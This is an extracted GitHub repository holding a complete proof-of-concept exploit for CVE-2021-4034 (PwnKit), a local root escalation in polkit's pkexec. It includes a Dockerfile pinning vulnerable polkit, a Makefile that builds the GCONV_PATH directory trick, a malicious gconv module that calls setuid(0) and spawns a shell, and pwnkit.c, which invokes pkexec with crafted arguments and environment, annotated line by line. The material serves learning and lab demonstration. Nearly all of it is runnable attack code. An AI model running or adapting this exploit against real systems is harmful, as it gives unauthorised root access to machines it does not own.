Full Code of PwnFunction/CVE-2021-4034 for AI

main e978ff576622 cached
5 files
8.0 KB
2.7k tokens
3 symbols
1 requests
Download .txt
Repository: PwnFunction/CVE-2021-4034
Branch: main
Commit: e978ff576622
Files: 5
Total size: 8.0 KB

Directory structure:
gitextract_r11bj97m/

├── Dockerfile
├── Makefile
├── README.md
├── conversion-mod.c
└── pwnkit.c

================================================
FILE CONTENTS
================================================

================================================
FILE: Dockerfile
================================================
# base
FROM ubuntu:focal
RUN apt update

# dev tools
RUN apt-get install -y gcc make

# polkit
RUN apt-get install -y libpolkit-gobject-1-0=0.105-26ubuntu1
RUN apt-get install -y libpolkit-agent-1-0=0.105-26ubuntu1
RUN apt-get install -y policykit-1=0.105-26ubuntu1

# low privileged user
RUN useradd -ms /bin/bash lowpriv
USER lowpriv

# copy exploit
RUN mkdir /home/lowpriv/pwnkit
COPY conversion-mod.c Makefile pwnkit.c /home/lowpriv/pwnkit/
WORKDIR /home/lowpriv/pwnkit


================================================
FILE: Makefile
================================================
all: clean setup conversion-mod.so pwnkit

setup:
	mkdir 'GCONV_PATH=.'
	touch GCONV_PATH=.\/pwn
	chmod +x GCONV_PATH=.\/pwn
	mkdir pwn
	echo 'module  UTF-8//    BRUH//    conversion-mod   1' > pwn/gconv-modules

conversion-mod.so:
	gcc -shared -fPIC -o pwn/conversion-mod.so conversion-mod.c

pwnkit:
	gcc -o pwnkit pwnkit.c

clean:
	rm -rf 'GCONV_PATH=.' pwn pwnkit

================================================
FILE: README.md
================================================
# CVE-2021-4034

Local privilege escalation via `pkexec`

## YouTube video

<p>
  <a href='https://www.youtube.com/watch?v=eTcVLqKpZJc'>
    <img src="https://user-images.githubusercontent.com/19750782/162562498-078f4bcb-4403-4ec4-acd4-b59530f081db.png" alt="PwnFunction YouTube Video" width="600">
  </a>
</p>

Watch the [✨ YouTube Video](https://www.youtube.com/watch?v=eTcVLqKpZJc)

## Run locally

```sh
make all && ./pwnkit && make clean
```

## Run in docker

```sh
# Build the docker image
docker build -t pwnkit .

# Run the exploit
docker run -it pwnkit bash
make all && ./pwnkit && make clean
```

## Detect using snyk-cli

```
snyk container test pwnkit:latest --file=Dockerfile
```

## Resources

- [Qualys Security Advisory](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)
- [argv silliness](https://ryiron.wordpress.com/2013/12/16/argv-silliness/)


================================================
FILE: conversion-mod.c
================================================
#define _GNU_SOURCE
#include <unistd.h>
#include <gconv.h>

int gconv_init() {
    /* Get back uid & gid */
    setuid(0);
    setgid(0);

    char *args[] = {"sh", NULL};
    char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};

    execvpe("/bin/sh", args, envp);

    return(__GCONV_OK);
}

int  gconv(){ return(__GCONV_OK); }

================================================
FILE: pwnkit.c
================================================
/** 
 * pwnkit: Local Privilege Escalation in polkit's pkexec (CVE-2021-4034)
 * Research advisory: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
 * poc by @PwnFunction <hello@pwnfunction.com>
 * */

#include <unistd.h>

int main() {
    /** 
     * Default n=1 via argv[0]=NULL, ergo argv[1] == envp[0] for OOB read and write primitives.
     *
     * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L481
     *
     * 481   for (n = 1; n < (guint) argc; n++) { ... }
     * ...
     * 537   path = g_strdup (argv[n]);
     * */
    char *argv[] = { NULL };

    char *envp[] = {
        /**
         * `pwn` is argv[1] when OOB read, 
         * and will be overwritten by "unsecure" env variable "GCONV_PATH=./pwn" 
         *
         * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L543
         * 
         * 543   if (path[0] != '/')
         * 544     {
         * ...
         * 546       s = g_find_program_in_path (path);
         * ...
         * 553       argv[n] = path = s;
         * 554     }
         * */ 
        "pwn",

        /** 
         * Trigger `g_printerr` via "suspicious content" ("/", "%", "..") in `validate_environment_variable`
         * Choose `TERM` for no reason, any "safe" env variable works
         *
         * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L333
         * 
         * 333 static gboolean
         * 334 validate_environment_variable (const gchar *key,
         * 335                               const gchar *value)
         * 336 {
         * ...
         * 352   if (g_strcmp0 (key, "SHELL") == 0) { ... }
         * ...
         * 364   else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||
         * 365            strstr (value, "%") != NULL ||
         * 366            strstr (value, "..") != NULL)
         * 367   {
         * ...
         * 371     g_printerr ("\n"
         * 372                 "This incident has been reported.\n");
         * ...
         * 374   }
         * ...
         * 380 }
         * */
        "TERM=..",

        /** 
         * Should have a directory named `GCONV_PATH=.`.
         * Inside a file should exist with the name `pwn`
         * `g_find_program_in_path` resolve `path` to "GCONV_PATH=./pwn"
         * Overwrite argv[1]="GCONV_PATH=./pwn", which is also envp[0]
         *
         * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L546
         *
         * 546       s = g_find_program_in_path (path);
         * ...
         * 553       argv[n] = path = s;
         * */
        "PATH=GCONV_PATH=.",
        /**
         * `UNSECURE_ENVVARS`: https://code.woboq.org/userspace/glibc/sysdeps/generic/unsecvars.h.html
         * `__unsetenv`: https://code.woboq.org/userspace/glibc/elf/dl-support.c.html#348
         * */

        /** 
         * Under `g_printerr`, control the condition `g_get_console_charset()`.
         *
         * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L3400
         * 
         * 3400       if (g_get_console_charset (&charset))
         *
         * ---
         *
         * Inside `g_get_console_charset`, for unix systems calls `g_get_charset`.
         *
         * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L432
         *
         * 432   return g_get_charset (charset);
         *
         * ---
         *
         * Under `g_get_charset`, we need to set `cache->is_utf8` to false.
         *
         * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L220
         *
         * 220       cache->is_utf8 = g_utf8_get_charset_internal (raw, &new_charset);
         *
         * ---
         *
         * Inside `g_utf8_get_charset_internal`, returns `FALSE` if env variable `CHARSET` is not "UTF-8"
         *
         * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L124
         *
         * 124       if (charset && strstr (charset, "UTF-8"))
         * 125         return TRUE;
         * 
         * */
        "CHARSET=BRUH",
        NULL
    };

    /**
     *
     * Back in `g_printerr`, when `g_get_console_charset` returns false, we branch to else
     *
     * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L3404
     *
     * 3400       if (g_get_console_charset (&charset))
     * 3401         fputs (string, stderr); 
     * 3402       else
     * 3403        {
     * 3404         gchar *lstring = strdup_convert (string, charset);
     *  ...
     * 3408        }
     * 
     * ---
     * 
     * Inside `strdup_convert`, if the string is not a valid utf8 string, it calls the g_convert_with_fallback
     * 
     * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L1064
     * 
     * 1043   if (!g_utf8_validate (string, -1, NULL)) { ... }
     * 1060   else
     * 1061     {
     *  ...
     * 1064        gchar *result = g_convert_with_fallback (string, -1, charset, "UTF-8", "?", NULL, NULL, &err);
     *  ...
     * 1081     }
     * 
     * ---
     * 
     * Under `g_convert_with_fallback`, calls the open_converter
     * 
     * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gconvert.c#L697
     * 
     * 697    cd = open_converter (to_codeset, "UTF-8", error);
     * 
     * ---
     * 
     * `open_converter` finally calls the `g_icon_open` which is - "Same as the standard UNIX routine iconv_open(), 
     * but may be implemented via libiconv on UNIX flavors that lack a native implementation."
     * 
     * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gconvert.c#L313
     * 
     * 313   cd = g_iconv_open (to_codeset, from_codeset);
     *
     * */
    
    /* Fire it! */    
    execve("/usr/bin/pkexec", argv, envp);

    return 0;
}
Download .txt
gitextract_r11bj97m/

├── Dockerfile
├── Makefile
├── README.md
├── conversion-mod.c
└── pwnkit.c
Download .txt
SYMBOL INDEX (3 symbols across 2 files)

FILE: conversion-mod.c
  function gconv_init (line 5) | int gconv_init() {
  function gconv (line 18) | int  gconv(){ return(__GCONV_OK); }

FILE: pwnkit.c
  function main (line 9) | int main() {
Condensed preview — 5 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (9K chars).
[
  {
    "path": "Dockerfile",
    "chars": 474,
    "preview": "# base\nFROM ubuntu:focal\nRUN apt update\n\n# dev tools\nRUN apt-get install -y gcc make\n\n# polkit\nRUN apt-get install -y li"
  },
  {
    "path": "Makefile",
    "chars": 367,
    "preview": "all: clean setup conversion-mod.so pwnkit\n\nsetup:\n\tmkdir 'GCONV_PATH=.'\n\ttouch GCONV_PATH=.\\/pwn\n\tchmod +x GCONV_PATH=.\\"
  },
  {
    "path": "README.md",
    "chars": 874,
    "preview": "# CVE-2021-4034\n\nLocal privilege escalation via `pkexec`\n\n## YouTube video\n\n<p>\n  <a href='https://www.youtube.com/watch"
  },
  {
    "path": "conversion-mod.c",
    "chars": 327,
    "preview": "#define _GNU_SOURCE\n#include <unistd.h>\n#include <gconv.h>\n\nint gconv_init() {\n    /* Get back uid & gid */\n    setuid(0"
  },
  {
    "path": "pwnkit.c",
    "chars": 6157,
    "preview": "/** \n * pwnkit: Local Privilege Escalation in polkit's pkexec (CVE-2021-4034)\n * Research advisory: https://www.qualys.c"
  }
]

About this extraction

This page contains the full source code of the PwnFunction/CVE-2021-4034 GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 5 files (8.0 KB), approximately 2.7k tokens, and a symbol index with 3 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!